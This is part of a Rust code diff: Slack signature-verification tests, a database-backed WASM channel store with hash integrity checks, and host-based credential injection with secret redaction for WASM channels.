!verify_slack_signature(
signing_secret,
"9999999999", // Different timestamp in signature
body,
&signature,
SLACK_TEST_TS
),
"Signature with wrong timestamp should fail"
);
}
#[test]
fn test_slack_tampered_signature_fails() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J";
let signature = sign_slack_message(signing_secret, timestamp, body);
// Flip a byte in the signature hex (change first char after "v0=")
let chars: Vec<char> = signature.chars().collect();
let mut new_chars = chars.clone();
if chars.len() > 3 {
new_chars[3] = if chars[3] == 'a' { 'b' } else { 'a' };
}
let modified_sig: String = new_chars.iter().collect();
assert!(
!verify_slack_signature(
signing_secret,
timestamp,
body,
&modified_sig,
SLACK_TEST_TS
),
"Tampered signature should fail"
);
}
#[test]
fn test_slack_stale_timestamp_rejected() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let signature = sign_slack_message(signing_secret, timestamp, body);
// now_secs is 400 seconds after timestamp — too stale
assert!(
!verify_slack_signature(
signing_secret,
timestamp,
body,
&signature,
SLACK_TEST_TS + 400
),
"Stale timestamp (400s old) should be rejected"
);
}
#[test]
fn test_slack_future_timestamp_rejected() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let signature = sign_slack_message(signing_secret, timestamp, body);
// now_secs is 400 seconds before timestamp — future
assert!(
!verify_slack_signature(
signing_secret,
timestamp,
body,
&signature,
SLACK_TEST_TS - 400
),
"Future timestamp (400s ahead) should be rejected"
);
}
#[test]
fn test_slack_boundary_300s_accepted() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let signature = sign_slack_message(signing_secret, timestamp, body);
// Exactly 300 seconds difference — should be accepted
assert!(
verify_slack_signature(
signing_secret,
timestamp,
body,
&signature,
SLACK_TEST_TS + 300
),
"Timestamp exactly 300s old should be accepted"
);
}
#[test]
fn test_slack_boundary_301s_rejected() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let signature = sign_slack_message(signing_secret, timestamp, body);
// 301 seconds difference — should be rejected
assert!(
!verify_slack_signature(
signing_secret,
timestamp,
body,
&signature,
SLACK_TEST_TS + 301
),
"Timestamp 301s old should be rejected"
);
}
#[test]
fn test_slack_non_numeric_timestamp_rejected() {
let signing_secret = "my-signing-secret";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
assert!(
!verify_slack_signature(signing_secret, "not-a-number", body, "v0=abc123", 0),
"Non-numeric timestamp should be rejected"
);
}
#[test]
fn test_slack_missing_v0_prefix_fails() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let signature = sign_slack_message(signing_secret, timestamp, body);
// Remove the "v0=" prefix
let bad_sig = signature.strip_prefix("v0=").unwrap_or(&signature);
assert!(
!verify_slack_signature(signing_secret, timestamp, body, bad_sig, SLACK_TEST_TS),
"Missing v0= prefix should fail"
);
}
#[test]
fn test_slack_wrong_signing_secret_fails() {
let secret_a = "secret-a";
let secret_b = "secret-b";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let signature = sign_slack_message(secret_a, timestamp, body);
// Try to verify with a different secret
assert!(
!verify_slack_signature(secret_b, timestamp, body, &signature, SLACK_TEST_TS),
"Signature from different secret should fail"
);
}
#[test]
fn test_slack_empty_body_valid() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"";
let signature = sign_slack_message(signing_secret, timestamp, body);
assert!(
verify_slack_signature(signing_secret, timestamp, body, &signature, SLACK_TEST_TS),
"Empty body with valid signature should succeed"
);
}
#[test]
fn test_slack_negative_timestamp_rejected() {
let signing_secret = "my-signing-secret";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
assert!(
!verify_slack_signature(signing_secret, "-1", body, "v0=abc123", 0),
"Negative timestamp should be rejected"
);
}
#[test]
fn test_slack_empty_timestamp_rejected() {
let signing_secret = "my-signing-secret";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
assert!(
!verify_slack_signature(signing_secret, "", body, "v0=abc123", 0),
"Empty timestamp should be rejected"
);
}
}
+690
View File
@@ -0,0 +1,690 @@
//! WASM channel binary storage with integrity verification.
//!
//! Stores compiled WASM channels in the database with BLAKE3 hash verification.
//! Mirrors the pattern in `crate::tools::wasm::storage` but without capabilities table.
//!
//! # Storage Flow
//!
//! ```text
//! WASM bytes ──► BLAKE3 hash ──► Store in database
//! │ (binary + hash)
//! │
//! └──► Later: Load ──► Verify hash ──► Return bytes
//! ```
use async_trait::async_trait;
use chrono::{DateTime, Utc};
#[cfg(feature = "postgres")]
use deadpool_postgres::Pool;
use uuid::Uuid;
use crate::tools::wasm::storage::{compute_binary_hash, verify_binary_integrity};
/// A stored WASM channel (metadata only, no binary).
#[derive(Debug, Clone)]
pub struct StoredWasmChannel {
pub id: Uuid,
pub user_id: String,
pub name: String,
pub version: String,
pub wit_version: String,
pub description: String,
pub capabilities_json: String,
pub status: String,
pub created_at: DateTime<Utc>,
pub updated_at: DateTime<Utc>,
}
/// Full channel data including binary.
#[derive(Debug)]
pub struct StoredWasmChannelWithBinary {
pub channel: StoredWasmChannel,
pub wasm_binary: Vec<u8>,
pub binary_hash: Vec<u8>,
}
/// Parameters for storing a new WASM channel.
pub struct StoreChannelParams {
pub user_id: String,
pub name: String,
pub version: String,
pub wit_version: String,
pub description: String,
pub wasm_binary: Vec<u8>,
pub capabilities_json: String,
}
/// Error from WASM channel storage operations.
#[derive(Debug, Clone, thiserror::Error)]
pub enum WasmChannelStoreError {
#[error("Channel not found: {0}")]
NotFound(String),
#[error("Binary integrity check failed: hash mismatch")]
IntegrityCheckFailed,
#[error("Database error: {0}")]
Database(String),
#[error("Invalid data: {0}")]
InvalidData(String),
}
/// Trait for WASM channel storage.
#[async_trait]
pub trait WasmChannelStore: Send + Sync {
/// Store a new WASM channel.
async fn store(
&self,
params: StoreChannelParams,
) -> Result<StoredWasmChannel, WasmChannelStoreError>;
/// Get channel metadata (without binary).
async fn get(
&self,
user_id: &str,
name: &str,
) -> Result<StoredWasmChannel, WasmChannelStoreError>;
/// Get channel with binary (verifies integrity).
async fn get_with_binary(
&self,
user_id: &str,
name: &str,
) -> Result<StoredWasmChannelWithBinary, WasmChannelStoreError>;
/// List all channels for a user.
async fn list(&self, user_id: &str) -> Result<Vec<StoredWasmChannel>, WasmChannelStoreError>;
/// Delete a channel.
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, WasmChannelStoreError>;
}
// ==================== PostgreSQL implementation ====================
/// PostgreSQL implementation of WasmChannelStore.
#[cfg(feature = "postgres")]
pub struct PostgresWasmChannelStore {
pool: Pool,
}
#[cfg(feature = "postgres")]
impl PostgresWasmChannelStore {
pub fn new(pool: Pool) -> Self {
Self { pool }
}
}
#[cfg(feature = "postgres")]
#[async_trait]
impl WasmChannelStore for PostgresWasmChannelStore {
async fn store(
&self,
params: StoreChannelParams,
) -> Result<StoredWasmChannel, WasmChannelStoreError> {
let mut client = self
.pool
.get()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let binary_hash = compute_binary_hash(&params.wasm_binary);
let id = Uuid::new_v4();
let now = Utc::now();
// Wrap delete + insert in a transaction for atomicity
let tx = client
.transaction()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
// Delete any existing version for this (user_id, name) — upgrade-in-place
tx.execute(
"DELETE FROM wasm_channels WHERE user_id = $1 AND name = $2",
&[&params.user_id, &params.name],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let row = tx
.query_one(
r#"
INSERT INTO wasm_channels (
id, user_id, name, version, wit_version, description, wasm_binary, binary_hash,
capabilities_json, status, created_at, updated_at
)
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 'active', $10, $10)
RETURNING id, user_id, name, version, wit_version, description,
capabilities_json, status, created_at, updated_at
"#,
&[
&id,
&params.user_id,
&params.name,
&params.version,
&params.wit_version,
&params.description,
&params.wasm_binary,
&binary_hash,
&params.capabilities_json,
&now,
],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let channel = pg_row_to_channel(&row)?;
tx.commit()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
Ok(channel)
}
async fn get(
&self,
user_id: &str,
name: &str,
) -> Result<StoredWasmChannel, WasmChannelStoreError> {
let client = self
.pool
.get()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let row = client
.query_opt(
r#"
SELECT id, user_id, name, version, wit_version, description,
capabilities_json, status, created_at, updated_at
FROM wasm_channels
WHERE user_id = $1 AND name = $2
"#,
&[&user_id, &name],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
match row {
Some(r) => pg_row_to_channel(&r),
None => Err(WasmChannelStoreError::NotFound(name.to_string())),
}
}
async fn get_with_binary(
&self,
user_id: &str,
name: &str,
) -> Result<StoredWasmChannelWithBinary, WasmChannelStoreError> {
let client = self
.pool
.get()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let row = client
.query_opt(
r#"
SELECT id, user_id, name, version, wit_version, description,
wasm_binary, binary_hash,
capabilities_json, status, created_at, updated_at
FROM wasm_channels
WHERE user_id = $1 AND name = $2
"#,
&[&user_id, &name],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
match row {
Some(r) => {
let wasm_binary: Vec<u8> = r.get("wasm_binary");
let binary_hash: Vec<u8> = r.get("binary_hash");
if !verify_binary_integrity(&wasm_binary, &binary_hash) {
tracing::error!(
user_id = user_id,
name = name,
"WASM channel binary integrity check failed"
);
return Err(WasmChannelStoreError::IntegrityCheckFailed);
}
let channel = StoredWasmChannel {
id: r.get("id"),
user_id: r.get("user_id"),
name: r.get("name"),
version: r.get("version"),
wit_version: r.get("wit_version"),
description: r.get("description"),
capabilities_json: r.get("capabilities_json"),
status: r.get("status"),
created_at: r.get("created_at"),
updated_at: r.get("updated_at"),
};
Ok(StoredWasmChannelWithBinary {
channel,
wasm_binary,
binary_hash,
})
}
None => Err(WasmChannelStoreError::NotFound(name.to_string())),
}
}
async fn list(&self, user_id: &str) -> Result<Vec<StoredWasmChannel>, WasmChannelStoreError> {
let client = self
.pool
.get()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let rows = client
.query(
r#"
SELECT id, user_id, name, version, wit_version, description,
capabilities_json, status, created_at, updated_at
FROM wasm_channels
WHERE user_id = $1
ORDER BY name
"#,
&[&user_id],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
rows.into_iter().map(|r| pg_row_to_channel(&r)).collect()
}
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, WasmChannelStoreError> {
let client = self
.pool
.get()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let result = client
.execute(
"DELETE FROM wasm_channels WHERE user_id = $1 AND name = $2",
&[&user_id, &name],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
Ok(result > 0)
}
}
#[cfg(feature = "postgres")]
fn pg_row_to_channel(
row: &tokio_postgres::Row,
) -> Result<StoredWasmChannel, WasmChannelStoreError> {
Ok(StoredWasmChannel {
id: row.get("id"),
user_id: row.get("user_id"),
name: row.get("name"),
version: row.get("version"),
wit_version: row.get("wit_version"),
description: row.get("description"),
capabilities_json: row.get("capabilities_json"),
status: row.get("status"),
created_at: row.get("created_at"),
updated_at: row.get("updated_at"),
})
}
// ==================== libSQL implementation ====================
/// libSQL/Turso implementation of WasmChannelStore.
///
/// Holds an `Arc<Database>` handle and creates a fresh connection per operation,
/// matching the connection-per-request pattern used by the main `LibSqlBackend`.
#[cfg(feature = "libsql")]
pub struct LibSqlWasmChannelStore {
db: std::sync::Arc<libsql::Database>,
}
#[cfg(feature = "libsql")]
impl LibSqlWasmChannelStore {
pub fn new(db: std::sync::Arc<libsql::Database>) -> Self {
Self { db }
}
async fn connect(&self) -> Result<libsql::Connection, WasmChannelStoreError> {
let conn = self
.db
.connect()
.map_err(|e| WasmChannelStoreError::Database(format!("Connection failed: {}", e)))?;
conn.query("PRAGMA busy_timeout = 5000", ())
.await
.map_err(|e| {
WasmChannelStoreError::Database(format!("Failed to set busy_timeout: {}", e))
})?;
Ok(conn)
}
}
#[cfg(feature = "libsql")]
#[async_trait]
impl WasmChannelStore for LibSqlWasmChannelStore {
async fn store(
&self,
params: StoreChannelParams,
) -> Result<StoredWasmChannel, WasmChannelStoreError> {
let binary_hash = compute_binary_hash(&params.wasm_binary);
let id = Uuid::new_v4();
let now = Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Millis, true);
let conn = self.connect().await?;
let tx = conn
.transaction()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
// Delete any existing version for this (user_id, name) — upgrade-in-place
tx.execute(
"DELETE FROM wasm_channels WHERE user_id = ?1 AND name = ?2",
libsql::params![params.user_id.as_str(), params.name.as_str()],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
tx.execute(
r#"
INSERT INTO wasm_channels (
id, user_id, name, version, wit_version, description, wasm_binary, binary_hash,
capabilities_json, status, created_at, updated_at
)
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, 'active', ?10, ?10)
"#,
libsql::params![
id.to_string(),
params.user_id.as_str(),
params.name.as_str(),
params.version.as_str(),
params.wit_version.as_str(),
params.description.as_str(),
libsql::Value::Blob(params.wasm_binary),
libsql::Value::Blob(binary_hash),
params.capabilities_json.as_str(),
now.as_str(),
],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
// Read back the row within the same transaction
let mut rows = tx
.query(
r#"
SELECT id, user_id, name, version, wit_version, description,
capabilities_json, status, created_at, updated_at
FROM wasm_channels
WHERE user_id = ?1 AND name = ?2
"#,
libsql::params![params.user_id.as_str(), params.name.as_str()],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let row = rows
.next()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?
.ok_or_else(|| {
WasmChannelStoreError::Database("Insert succeeded but row not found".into())
})?;
let channel = libsql_row_to_channel(&row)?;
tx.commit()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
Ok(channel)
}
async fn get(
&self,
user_id: &str,
name: &str,
) -> Result<StoredWasmChannel, WasmChannelStoreError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
r#"
SELECT id, user_id, name, version, wit_version, description,
capabilities_json, status, created_at, updated_at
FROM wasm_channels
WHERE user_id = ?1 AND name = ?2
"#,
libsql::params![user_id, name],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
match rows
.next()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?
{
Some(row) => libsql_row_to_channel(&row),
None => Err(WasmChannelStoreError::NotFound(name.to_string())),
}
}
async fn get_with_binary(
&self,
user_id: &str,
name: &str,
) -> Result<StoredWasmChannelWithBinary, WasmChannelStoreError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
r#"
SELECT id, user_id, name, version, wit_version, description,
wasm_binary, binary_hash,
capabilities_json, status, created_at, updated_at
FROM wasm_channels
WHERE user_id = ?1 AND name = ?2
"#,
libsql::params![user_id, name],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
match rows
.next()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?
{
Some(row) => {
let wasm_binary: Vec<u8> = row
.get(6)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let binary_hash: Vec<u8> = row
.get(7)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
if !verify_binary_integrity(&wasm_binary, &binary_hash) {
tracing::error!(
user_id = user_id,
name = name,
"WASM channel binary integrity check failed"
);
return Err(WasmChannelStoreError::IntegrityCheckFailed);
}
let channel = libsql_row_to_channel_with_offset(&row)?;
Ok(StoredWasmChannelWithBinary {
channel,
wasm_binary,
binary_hash,
})
}
None => Err(WasmChannelStoreError::NotFound(name.to_string())),
}
}
async fn list(&self, user_id: &str) -> Result<Vec<StoredWasmChannel>, WasmChannelStoreError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
r#"
SELECT id, user_id, name, version, wit_version, description,
capabilities_json, status, created_at, updated_at
FROM wasm_channels
WHERE user_id = ?1
ORDER BY name
"#,
libsql::params![user_id],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let mut channels = Vec::new();
while let Some(row) = rows
.next()
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?
{
channels.push(libsql_row_to_channel(&row)?);
}
Ok(channels)
}
async fn delete(&self, user_id: &str, name: &str) -> Result<bool, WasmChannelStoreError> {
let conn = self.connect().await?;
let result = conn
.execute(
"DELETE FROM wasm_channels WHERE user_id = ?1 AND name = ?2",
libsql::params![user_id, name],
)
.await
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
Ok(result > 0)
}
}
#[cfg(feature = "libsql")]
#[allow(dead_code)]
fn libsql_channel_opt_text(s: Option<&str>) -> libsql::Value {
match s {
Some(s) => libsql::Value::Text(s.to_string()),
None => libsql::Value::Null,
}
}
#[cfg(feature = "libsql")]
fn libsql_channel_parse_ts(s: &str) -> Result<DateTime<Utc>, WasmChannelStoreError> {
if let Ok(dt) = chrono::DateTime::parse_from_rfc3339(s) {
return Ok(dt.with_timezone(&Utc));
}
if let Ok(ndt) = chrono::NaiveDateTime::parse_from_str(s, "%Y-%m-%d %H:%M:%S%.f") {
return Ok(ndt.and_utc());
}
if let Ok(ndt) = chrono::NaiveDateTime::parse_from_str(s, "%Y-%m-%d %H:%M:%S") {
return Ok(ndt.and_utc());
}
Err(WasmChannelStoreError::InvalidData(format!(
"unparseable timestamp: {:?}",
s
)))
}
/// Parse a channel row with standard column order (no binary columns).
/// Columns: id(0), user_id(1), name(2), version(3), wit_version(4), description(5),
/// capabilities_json(6), status(7), created_at(8), updated_at(9)
#[cfg(feature = "libsql")]
fn libsql_row_to_channel(row: &libsql::Row) -> Result<StoredWasmChannel, WasmChannelStoreError> {
let id_str: String = row
.get(0)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let created_at_str: String = row
.get(8)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let updated_at_str: String = row
.get(9)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
Ok(StoredWasmChannel {
id: id_str
.parse()
.map_err(|e: uuid::Error| WasmChannelStoreError::InvalidData(e.to_string()))?,
user_id: row
.get(1)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
name: row
.get(2)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
version: row
.get(3)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
wit_version: row
.get(4)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
description: row
.get(5)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
capabilities_json: row
.get(6)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
status: row
.get(7)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
created_at: libsql_channel_parse_ts(&created_at_str)?,
updated_at: libsql_channel_parse_ts(&updated_at_str)?,
})
}
/// Parse a channel row when binary columns are present (get_with_binary query).
/// Columns: id(0), user_id(1), name(2), version(3), wit_version(4), description(5),
/// wasm_binary(6), binary_hash(7),
/// capabilities_json(8), status(9), created_at(10), updated_at(11)
#[cfg(feature = "libsql")]
fn libsql_row_to_channel_with_offset(
row: &libsql::Row,
) -> Result<StoredWasmChannel, WasmChannelStoreError> {
let id_str: String = row
.get(0)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let created_at_str: String = row
.get(10)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
let updated_at_str: String = row
.get(11)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?;
Ok(StoredWasmChannel {
id: id_str
.parse()
.map_err(|e: uuid::Error| WasmChannelStoreError::InvalidData(e.to_string()))?,
user_id: row
.get(1)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
name: row
.get(2)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
version: row
.get(3)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
wit_version: row
.get(4)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
description: row
.get(5)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
capabilities_json: row
.get(8)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
status: row
.get(9)
.map_err(|e| WasmChannelStoreError::Database(e.to_string()))?,
created_at: libsql_channel_parse_ts(&created_at_str)?,
updated_at: libsql_channel_parse_ts(&updated_at_str)?,
})
}
+464 -7
View File
@@ -52,8 +52,12 @@ use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse,
use crate::error::ChannelError;
use crate::pairing::PairingStore;
use crate::safety::LeakDetector;
use crate::secrets::SecretsStore;
use crate::tools::wasm::LogLevel;
use crate::tools::wasm::WasmResourceLimiter;
use crate::tools::wasm::credential_injector::{
InjectedCredentials, host_matches_pattern, inject_credential,
};
// Generate component model bindings from the WIT file
wasmtime::component::bindgen!({
@@ -65,6 +69,23 @@ wasmtime::component::bindgen!({
},
});
/// Pre-resolved credential for host-based injection.
///
/// Built before each WASM execution by decrypting secrets from the store.
/// Applied per-request by matching the URL host against `host_patterns`.
/// WASM channels never see the raw secret values.
#[derive(Clone)]
struct ResolvedHostCredential {
/// Host patterns this credential applies to (e.g., "api.slack.com").
host_patterns: Vec<String>,
/// Headers to add to matching requests (e.g., "Authorization: Bearer ...").
headers: HashMap<String, String>,
/// Query parameters to add to matching requests.
query_params: HashMap<String, String>,
/// Raw secret value for redaction in error messages.
secret_value: String,
}
/// Store data for WASM channel execution.
///
/// Contains the resource limiter, channel-specific host state, and WASI context.
@@ -76,6 +97,9 @@ struct ChannelStoreData {
/// Injected credentials for URL substitution (e.g., bot tokens).
/// Keys are placeholder names like "TELEGRAM_BOT_TOKEN".
credentials: HashMap<String, String>,
/// Pre-resolved credentials for automatic host-based injection.
/// Applied per-request by matching the URL host against host_patterns.
host_credentials: Vec<ResolvedHostCredential>,
/// Pairing store for DM pairing (guest access control).
pairing_store: Arc<PairingStore>,
/// Dedicated tokio runtime for HTTP requests, lazily initialized.
@@ -89,6 +113,7 @@ impl ChannelStoreData {
channel_name: &str,
capabilities: ChannelCapabilities,
credentials: HashMap<String, String>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
) -> Self {
// Create a minimal WASI context (no filesystem, no env vars for security)
@@ -100,6 +125,7 @@ impl ChannelStoreData {
wasi,
table: ResourceTable::new(),
credentials,
host_credentials,
pairing_store,
http_runtime: None,
}
@@ -159,15 +185,74 @@ impl ChannelStoreData {
/// return values to WASM. reqwest::Error includes the full URL in its
/// Display output, so any error from an injected-URL request will
/// contain the raw credential unless we scrub it.
///
/// Scrubs raw, URL-encoded, and Base64-encoded forms of each secret
/// to prevent exfiltration via encoded representations in error strings.
fn redact_credentials(&self, text: &str) -> String {
let mut result = text.to_string();
for (name, value) in &self.credentials {
if !value.is_empty() {
result = result.replace(value, &format!("[REDACTED:{}]", name));
let tag = format!("[REDACTED:{}]", name);
result = result.replace(value, &tag);
// Also redact URL-encoded form (covers secrets in query strings)
let encoded = urlencoding::encode(value);
if encoded != *value {
result = result.replace(encoded.as_ref(), &tag);
}
}
}
for cred in &self.host_credentials {
if !cred.secret_value.is_empty() {
let tag = "[REDACTED:host_credential]";
result = result.replace(&cred.secret_value, tag);
// Also redact URL-encoded form (covers secrets injected as query params)
let encoded = urlencoding::encode(&cred.secret_value);
if encoded.as_ref() != cred.secret_value {
result = result.replace(encoded.as_ref(), tag);
}
}
}
result
}
/// Inject pre-resolved host credentials into the request.
///
/// Matches the URL host against each resolved credential's host_patterns.
/// Matching credentials have their headers merged and query params appended.
fn inject_host_credentials(
&self,
url_host: &str,
headers: &mut HashMap<String, String>,
url: &mut String,
) {
for cred in &self.host_credentials {
let matches = cred
.host_patterns
.iter()
.any(|pattern| host_matches_pattern(url_host, pattern));
if !matches {
continue;
}
// Merge injected headers (host credentials take precedence)
for (key, value) in &cred.headers {
headers.insert(key.clone(), value.clone());
}
// Append query parameters to URL
if !cred.query_params.is_empty() {
if let Ok(mut parsed_url) = url::Url::parse(url) {
for (name, value) in &cred.query_params {
parsed_url.query_pairs_mut().append_pair(name, value);
}
*url = parsed_url.to_string();
} else {
tracing::warn!(url = %url, "Could not parse URL to inject query parameters; skipping injection");
}
}
}
}
}
// Implement WasiView to provide WASI context and resource table
@@ -249,7 +334,7 @@ impl near::agent::channel_host::Host for ChannelStoreData {
let raw_headers: std::collections::HashMap<String, String> =
serde_json::from_str(&headers_json).unwrap_or_default();
let headers: std::collections::HashMap<String, String> = raw_headers
let mut headers: std::collections::HashMap<String, String> = raw_headers
.into_iter()
.map(|(k, v)| {
(
@@ -268,7 +353,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
"Parsed and injected request headers"
);
let url = injected_url;
let mut url = injected_url;
// Leak scan runs on WASM-provided values BEFORE host credential injection.
// This prevents false positives where the host-injected Bearer token
// (e.g., xoxb- Slack token) triggers the leak detector — WASM never saw
// the real value, so scanning the pre-injection state is correct.
let leak_detector = LeakDetector::new();
let header_vec: Vec<(String, String)> = headers
.iter()
@@ -279,6 +369,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
.scan_http_request(&url, &header_vec, body.as_deref())
.map_err(|e| format!("Potential secret leak blocked: {}", e))?;
// Inject pre-resolved host credentials (Bearer tokens, API keys, etc.)
// after the leak scan so host-injected secrets don't trigger false positives.
if let Some(host) = extract_host_from_url(&url) {
self.inject_host_credentials(&host, &mut headers, &mut url);
}
// Get the max response size from capabilities (default 10MB).
let max_response_bytes = self
.host_state
@@ -553,6 +649,44 @@ pub struct WasmChannel {
/// In-memory workspace store persisting writes across callback invocations.
/// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks.
workspace_store: Arc<ChannelWorkspaceStore>,
/// Last-seen message metadata (contains chat_id for broadcast routing).
/// Populated from incoming messages so `broadcast()` knows where to send.
last_broadcast_metadata: Arc<tokio::sync::RwLock<Option<String>>>,
/// Settings store for persisting broadcast metadata across restarts.
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
/// Secrets store for host-based credential injection.
/// Used to pre-resolve credentials before each WASM callback.
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
}
/// Update broadcast metadata in memory and persist to the settings store when
/// it changes. Extracted as a free function so both the `WasmChannel` instance
/// method and the static polling helper share one implementation.
async fn do_update_broadcast_metadata(
channel_name: &str,
metadata: &str,
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
) {
let mut guard = last_broadcast_metadata.write().await;
let changed = guard.as_deref() != Some(metadata);
*guard = Some(metadata.to_string());
drop(guard);
if changed && let Some(store) = settings_store {
let key = format!("channel_broadcast_metadata_{}", channel_name);
let value = serde_json::Value::String(metadata.to_string());
if let Err(e) = store.set_setting("default", &key, &value).await {
tracing::warn!(
channel = %channel_name,
"Failed to persist broadcast metadata: {}",
e
);
}
}
}
impl WasmChannel {
@@ -563,6 +697,7 @@ impl WasmChannel {
capabilities: ChannelCapabilities,
config_json: String,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
) -> Self {
let name = prepared.name.clone();
let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone());
@@ -584,9 +719,22 @@ impl WasmChannel {
typing_task: RwLock::new(None),
pairing_store,
workspace_store: Arc::new(ChannelWorkspaceStore::new()),
last_broadcast_metadata: Arc::new(tokio::sync::RwLock::new(None)),
settings_store,
secrets_store: None,
}
}
/// Set the secrets store for host-based credential injection.
///
/// When set, credentials declared in the channel's capabilities are
/// automatically decrypted and injected into HTTP requests based on
/// the target host (e.g., Bearer token for api.slack.com).
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
self.secrets_store = Some(store);
self
}
/// Update the channel config before starting.
///
/// Merges the provided values into the existing config JSON.
@@ -631,6 +779,51 @@ impl WasmChannel {
&self.name
}
/// Settings key for persisted broadcast metadata.
fn broadcast_metadata_key(&self) -> String {
format!("channel_broadcast_metadata_{}", self.name)
}
/// Update broadcast metadata in memory and persist if changed (best-effort).
///
/// Compares with the current value to avoid redundant DB writes on every
/// incoming message (the chat_id rarely changes).
async fn update_broadcast_metadata(&self, metadata: &str) {
do_update_broadcast_metadata(
&self.name,
metadata,
&self.last_broadcast_metadata,
self.settings_store.as_ref(),
)
.await;
}
/// Load broadcast metadata from settings store on startup.
async fn load_broadcast_metadata(&self) {
if let Some(ref store) = self.settings_store {
match store
.get_setting("default", &self.broadcast_metadata_key())
.await
{
Ok(Some(serde_json::Value::String(meta))) => {
*self.last_broadcast_metadata.write().await = Some(meta);
tracing::debug!(
channel = %self.name,
"Restored broadcast metadata from settings"
);
}
Ok(_) => {}
Err(e) => {
tracing::warn!(
channel = %self.name,
"Failed to load broadcast metadata: {}",
e
);
}
}
}
}
/// Get the channel capabilities.
pub fn capabilities(&self) -> &ChannelCapabilities {
&self.capabilities
@@ -685,6 +878,7 @@ impl WasmChannel {
prepared: &PreparedChannelModule,
